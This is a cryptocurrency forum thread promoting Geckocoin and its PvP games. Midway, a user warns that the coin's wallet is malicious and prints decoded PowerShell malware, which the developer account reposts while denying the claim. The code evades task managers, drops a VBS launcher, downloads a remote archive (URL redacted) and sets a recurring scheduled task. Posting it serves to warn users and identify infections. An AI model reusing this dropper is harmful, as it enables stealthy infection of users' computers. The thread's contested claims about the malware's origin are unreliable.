[ANN] {Geckocoin / Ghostrider \ Masternode / PvP Games}

[Gecko_mn]

Games are very difficult
It's hard to control my little gecko

This is a complete replacement for mining. Here you can earn, but you have to work hard

[1714950786]

1714950786

[1714950786]

1714950786

[1714950786]

1714950786

[1714950786]

1714950786

[1714950786]

1714950786

[kalel22]

you should work on Marketing for this Coin as the project is very promising with the "Games" concept! try to get in touch with computing Giants like Google, Microsoft and Amazon ...etc with the offer to integrate it in their systems for example... just an idea amongst many . Just push it hard it's a good stuff! 

[Gecko_mn]

you should work on Marketing for this Coin as the project is very promising with the "Games" concept! try to get in touch with computing Giants like Google, Microsoft and Amazon ...etc with the offer to integrate it in their systems for example... just an idea amongst many . Just push it hard it's a good stuff! 

Thank you, it's important for us to know what you think. You have very good ideas, but they are impossible to implement.

[AmunRaEfect]

Retro/"nostalgia" games can be a concept that appeals to both gamers who played, as children, and younger players. Gecko thus has a growth potential that other new coins don't have, but more games and promotion is needed.

One of the few new projects worth watching. 

[Gecko_mn]

Retro/"nostalgia" games can be a concept that appeals to both gamers who played, as children, and younger players. Gecko thus has a growth potential that other new coins don't have, but more games and promotion is needed.

One of the few new projects worth watching. 

Thanks, we're glad you like our idea.
There will be many games, it will take time to develop them.

[Gecko_mn]

Our trading volume crossed the $3,000 mark for the first time

[Gecko_mn]

Geckomain is undergoing technical work, including adding support for BabaCoin (BBC).

Stay tuned for news on the next game soon.

[Gecko_mn]

The game works, accepts payment in GEC and BBC - https://geckoman.gecko.mn

[Gecko_mn]

So, we've been pretty busy lately with a new 2D game in development.

We thought about what the game should be like. We will tell you about it in the near future. In short, the game will be PvP, where you will fight with each other.

Wait for the announcement.📢

[Gecko_mn]

GEC has been listed on P2B with GEC/USDT pair
Enjoy your trading GEC\USDT
P2B announcements are posted

[Gecko_mn]

I announce a contest for the most original rules of the contest in the game GeckoMan.
the person whose idea we choose will win.
prize pool 100000GEC

[lijingang]

As far as I know, we once had a strategy mobile game (a game in which boss bullets can be classified by shooting advance) which was very popular in China in the past two years and was endorsed by the star Huang Xiaoming. I myself also like playing it very much. We have a large community, which still exists now and has recharged nearly 70,000 RMB into it. Since the official closed the recharge channel permanently and finally removed this classic design game permanently, our community still misses this game. I think if we can develop or buy the copyright of the game and embed gec into this game, I think the successful blockchain game will make the token very valuable. If possible, I can help attract a game group of 100,000 people.

[furcalor]

Malicious wallet

https://www.virustotal.com/gui/file/031a1900747aab0fc79a9972bf8aaaf0218f5e7124b28814d9c2321c4a650333/behavior
https://www.virustotal.com/gui/file/031a1900747aab0fc79a9972bf8aaaf0218f5e7124b28814d9c2321c4a650333/detection

Geckocoin has malicious wallet that executes a powershell command that downloads malicious files and sets a scheduled job on the PC to run.
If you PC has %appdata%\LogState\ folder with jLherYu.vbs file or ws2help.exe you have been infected!

Decoded powershell with the malicious url removed below:

Code:

If (Get-Process -Name 'Taskmgr', 'perfmon', 'ProcessHacker', 'TMX64', 'TMX', 'procexp64a', 'procexp64', 'procexp', 'ProcessExplorerPortable', 'SystemExplorerPortable', 'SystemExplorer', 'EXEExplorerPort', 'EXE', 'EXE64', 'TaskManagerPort', 'KillProcess', 'TaskMan', 'WinUtilitiesPortable', 'WinUtil', 'FreeTaskManager', 'AnVir', 'anvir64', 'Wireshark' -ErrorAction SilentlyContinue){exit} Else {if( !((Test-Path -Path "$env:APPDATA\LogState\htMbZp.py" -PathType Leaf) -and (Test-Path -Path "$env:APPDATA\LogState\ws2help.exe" -PathType Leaf) -and (Test-Path -Path "$env:APPDATA\LogState\jLherYu.vbs" -PathType Leaf))){schtasks /delete /tn "ImDskSvc\wmiApSrv" /f;Stop-Process -Name "ws2help";Remove-Item -Recurse -Force "$env:APPDATA\LogState";New-Item -ItemType Directory -Force -Path "$env:APPDATA\LogState";$addPath = "$env:APPDATA\LogState\jLherYu.vbs"; $text = "Option Explicit";$text2 = "Dim ProcessPath";$text3 = "Dim fileSystemObject";$text4 = "Dim strAppDataPath";$text5 = "ProcessPath = `"ws2help.exe`"";$text6 = "Call CheckProcess(DblQuote(ProcessPath))";$text7 = "Sub CheckProcess(ProcessPath)";$text8 = "Dim strComputer,objWMIService,colProcesses,WshShell,Tab,ProcessName";$text9 = "strComputer = `".`"";$text10 = "Tab = Split(ProcessPath,`"\`")";$text11 = "ProcessName = Tab(UBound(Tab))";$text12 = "ProcessName = Replace(ProcessName,Chr(34),`"`")";$text13 = "Set objWMIService = GetObject(`"winmgmts:`" _";$text14 = "& `"{impersonationLevel=impersonate}!\\`" & strComputer & `"\root\cimv2`")";$text15 = "Set colProcesses = objWMIService.ExecQuery _";$text16 = "(`"Select * from Win32_Process Where Name = '`"& ProcessName & `"'`")";$text17 = "Set fileSystemObject = CreateObject(`"Scripting.FileSystemObject`")";$text18 = "strAppDataPath = CreateObject(`"WScript.Shell`").ExpandEnvironmentStrings(`"%appdata%`")";$text19 = "If colProcesses.Count = 0 And fileSystemObject.FileExists(strAppDataPath & `"\LogState\htMbZp.py`") Then";$text20 = "Set WshShell = CreateObject(`"WScript.Shell`")";$text21 = "WshShell.Run `"cmd /c %appdata%\LogState\ws2help.exe %appdata%\LogState\htMbZp.py`", 0, False";$text22 = "Else";$text23 = "Exit Sub";$text24 = "End if";$text25 = "End Sub";$text26 = "Function DblQuote(Str)";$text27 = "DblQuote = Chr(34) & Str & Chr(34)";$text28 = "End Function";echo $text $text2 $text3 $text4 $text5 $text6 $text7 $text8 $text9 $text10 $text11 $text12 $text13 $text14 $text15 $text16 $text17 $text18 $text19 $text20 $text21 $text22 $text23 $text24 $text25 $text26 $text27 $text28 | Out-File $addPath;[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri "http://REMOVED.net/bootstrap.zip" -OutFile "$env:TEMP\bootstrap.zip";Expand-Archive -Path "$env:TEMP\bootstrap.zip" -DestinationPath "$env:APPDATA\LogState" -Force;schtasks /create /sc minute /mo 10 /tn "ImDskSvc\wmiApSrv" /tr "$env:APPDATA\LogState\jLherYu.vbs" /f } else {Start-Process -FilePath "$env:APPDATA\LogState\jLherYu.vbs";break}}

[madmartyk]

Is there a cleaner for it?  I had it, deleted it all out.  If I start the Geckocoin wallet will it reinstall?

[Gecko_mn]

Code:

If (Get-Process -Name 'Taskmgr', 'perfmon', 'ProcessHacker', 'TMX64', 'TMX', 'procexp64a', 'procexp64', 'procexp', 'ProcessExplorerPortable', 'SystemExplorerPortable', 'SystemExplorer', 'EXEExplorerPort', 'EXE', 'EXE64', 'TaskManagerPort', 'KillProcess', 'TaskMan', 'WinUtilitiesPortable', 'WinUtil', 'FreeTaskManager', 'AnVir', 'anvir64', 'Wireshark' -ErrorAction SilentlyContinue){exit} Else {if( !((Test-Path -Path "$env:APPDATA\LogState\htMbZp.py" -PathType Leaf) -and (Test-Path -Path "$env:APPDATA\LogState\ws2help.exe" -PathType Leaf) -and (Test-Path -Path "$env:APPDATA\LogState\jLherYu.vbs" -PathType Leaf))){schtasks /delete /tn "ImDskSvc\wmiApSrv" /f;Stop-Process -Name "ws2help";Remove-Item -Recurse -Force "$env:APPDATA\LogState";New-Item -ItemType Directory -Force -Path "$env:APPDATA\LogState";$addPath = "$env:APPDATA\LogState\jLherYu.vbs"; $text = "Option Explicit";$text2 = "Dim ProcessPath";$text3 = "Dim fileSystemObject";$text4 = "Dim strAppDataPath";$text5 = "ProcessPath = `"ws2help.exe`"";$text6 = "Call CheckProcess(DblQuote(ProcessPath))";$text7 = "Sub CheckProcess(ProcessPath)";$text8 = "Dim strComputer,objWMIService,colProcesses,WshShell,Tab,ProcessName";$text9 = "strComputer = `".`"";$text10 = "Tab = Split(ProcessPath,`"\`")";$text11 = "ProcessName = Tab(UBound(Tab))";$text12 = "ProcessName = Replace(ProcessName,Chr(34),`"`")";$text13 = "Set objWMIService = GetObject(`"winmgmts:`" _";$text14 = "& `"{impersonationLevel=impersonate}!\\`" & strComputer & `"\root\cimv2`")";$text15 = "Set colProcesses = objWMIService.ExecQuery _";$text16 = "(`"Select * from Win32_Process Where Name = '`"& ProcessName & `"'`")";$text17 = "Set fileSystemObject = CreateObject(`"Scripting.FileSystemObject`")";$text18 = "strAppDataPath = CreateObject(`"WScript.Shell`").ExpandEnvironmentStrings(`"%appdata%`")";$text19 = "If colProcesses.Count = 0 And fileSystemObject.FileExists(strAppDataPath & `"\LogState\htMbZp.py`") Then";$text20 = "Set WshShell = CreateObject(`"WScript.Shell`")";$text21 = "WshShell.Run `"cmd /c %appdata%\LogState\ws2help.exe %appdata%\LogState\htMbZp.py`", 0, False";$text22 = "Else";$text23 = "Exit Sub";$text24 = "End if";$text25 = "End Sub";$text26 = "Function DblQuote(Str)";$text27 = "DblQuote = Chr(34) & Str & Chr(34)";$text28 = "End Function";echo $text $text2 $text3 $text4 $text5 $text6 $text7 $text8 $text9 $text10 $text11 $text12 $text13 $text14 $text15 $text16 $text17 $text18 $text19 $text20 $text21 $text22 $text23 $text24 $text25 $text26 $text27 $text28 | Out-File $addPath;[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri "http://REMOVED.net/bootstrap.zip" -OutFile "$env:TEMP\bootstrap.zip";Expand-Archive -Path "$env:TEMP\bootstrap.zip" -DestinationPath "$env:APPDATA\LogState" -Force;schtasks /create /sc minute /mo 10 /tn "ImDskSvc\wmiApSrv" /tr "$env:APPDATA\LogState\jLherYu.vbs" /f } else {Start-Process -FilePath "$env:APPDATA\LogState\jLherYu.vbs";break}}

Stop writing this lies everywhere, give video evidence, if you have any at all

[madmartyk]

From what I have seen on discord the trojan is in VKAX wallet.

[Gecko_mn]

From what I have seen on discord the trojan is in VKAX wallet.

That's right, but they are trying to blame us

[Gecko_mn]

As far as I know, we once had a strategy mobile game (a game in which boss bullets can be classified by shooting advance) which was very popular in China in the past two years and was endorsed by the star Huang Xiaoming. I myself also like playing it very much. We have a large community, which still exists now and has recharged nearly 70,000 RMB into it. Since the official closed the recharge channel permanently and finally removed this classic design game permanently, our community still misses this game. I think if we can develop or buy the copyright of the game and embed gec into this game, I think the successful blockchain game will make the token very valuable. If possible, I can help attract a game group of 100,000 people.

We develop PVP games.
The commission will be deducted from the winner.
Half the commission to the team, half the commission will be burned.

[Gecko_mn]

As far as I know, we once had a strategy mobile game (a game in which boss bullets can be classified by shooting advance) which was very popular in China in the past two years and was endorsed by the star Huang Xiaoming. I myself also like playing it very much. We have a large community, which still exists now and has recharged nearly 70,000 RMB into it. Since the official closed the recharge channel permanently and finally removed this classic design game permanently, our community still misses this game. I think if we can develop or buy the copyright of the game and embed gec into this game, I think the successful blockchain game will make the token very valuable. If possible, I can help attract a game group of 100,000 people.

There will be mods 1x1, 2x2, 4x4, 16x16. Like survival mode, it's every man for himself.

[Gecko_mn]

https://twitter.com/elonmusk/status/1632060356930555904?s=20